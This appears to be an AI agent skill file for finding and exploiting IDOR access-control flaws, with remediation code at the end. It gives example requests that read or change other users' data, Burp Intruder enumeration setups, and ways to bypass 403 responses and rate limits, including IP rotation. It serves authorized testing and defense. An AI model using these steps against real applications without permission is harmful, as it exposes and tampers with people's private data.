This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
Inputs / Prerequisites
Target Web Application: URL of application with user-specific resources
Multiple User Accounts: At least two test accounts to verify cross-user access
Burp Suite or Proxy Tool: Intercepting proxy for request manipulation
Authorization: Written permission for security testing
Understanding of Application Flow: Knowledge of how objects are referenced (IDs, filenames)
Outputs / Deliverables
IDOR Vulnerability Report: Documentation of discovered access control bypasses
Proof of Concept: Evidence of unauthorized data access across user contexts
Affected Endpoints: List of vulnerable API endpoints and parameters
Impact Assessment: Classification of data exposure severity
Remediation Recommendations: Specific fixes for identified vulnerabilities
Core Workflow
1. Understand IDOR Vulnerability Types
Direct Reference to Database Objects
Occurs when applications reference database records via user-controllable parameters:
# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
Direct Reference to Static Files
Occurs when applications expose file paths or names that can be enumerated:
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
Identify Object References
Capture and analyze requests containing:
Numeric IDs in URLs: /api/user/123
Numeric IDs in parameters: ?id=123&action=view
Numeric IDs in request body: {"userId": 123}
File paths: /download/receipt_123.pdf
GUIDs/UUIDs: /profile/a1b2c3d4-e5f6-...
Map User IDs
# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
3. Detection Techniques
URL Parameter Manipulation
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
4. Exploitation with Burp Suite
Manual Exploitation
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
Automated Enumeration with Intruder
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes
Battering Ram Attack for Multiple Positions
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
Requires at least two valid user accounts for verification
Some applications use session-bound tokens instead of IDs
GUID/UUID references harder to enumerate but not impossible
Rate limiting may restrict enumeration attempts
Some IDOR requires chained vulnerabilities to exploit
Detection Challenges
Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
Blind IDOR where response doesn't confirm access
Time-based IDOR in asynchronous operations
IDOR in websocket communications
Legal Requirements
Only test applications with explicit authorization
Document all testing activities and findings
Do not access, modify, or exfiltrate real user data
Report findings through proper disclosure channels
Examples
Example 1: Basic ID Parameter IDOR
# Login as attacker (userId=1001)
# Navigate to profile page
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# Response: Attacker's profile data
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# Vulnerable Response: Victim's profile data returned!
Example 2: IDOR in Address Update Endpoint
# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
# If 200 OK: Address created under victim's account
Example 3: Static File IDOR
# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# Response: PDF of attacker's receipt (order #5)
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable Response: PDF of victim's receipt (order #3)!
Example 4: Burp Intruder Enumeration
# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses
Example 5: Horizontal to Vertical Escalation
# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# If accessible: Vertical privilege escalation achieved
Troubleshooting
Issue: All Requests Return 403 Forbidden
Cause: Server-side access control is implemented
Solution:
# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs
Issue: Application Uses UUIDs Instead of Sequential IDs
# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable
Issue: Session Token Bound to User
Cause: Application validates session against requested resource
Solution:
# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)
# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours
Issue: Cannot Verify IDOR Impact
Cause: Response doesn't clearly indicate data ownership
Solution:
# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)
Remediation Guidance
Implement Proper Access Control
# Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)
Use Indirect References
# Instead of: /api/address/123
# Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
Server-Side Validation
# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)
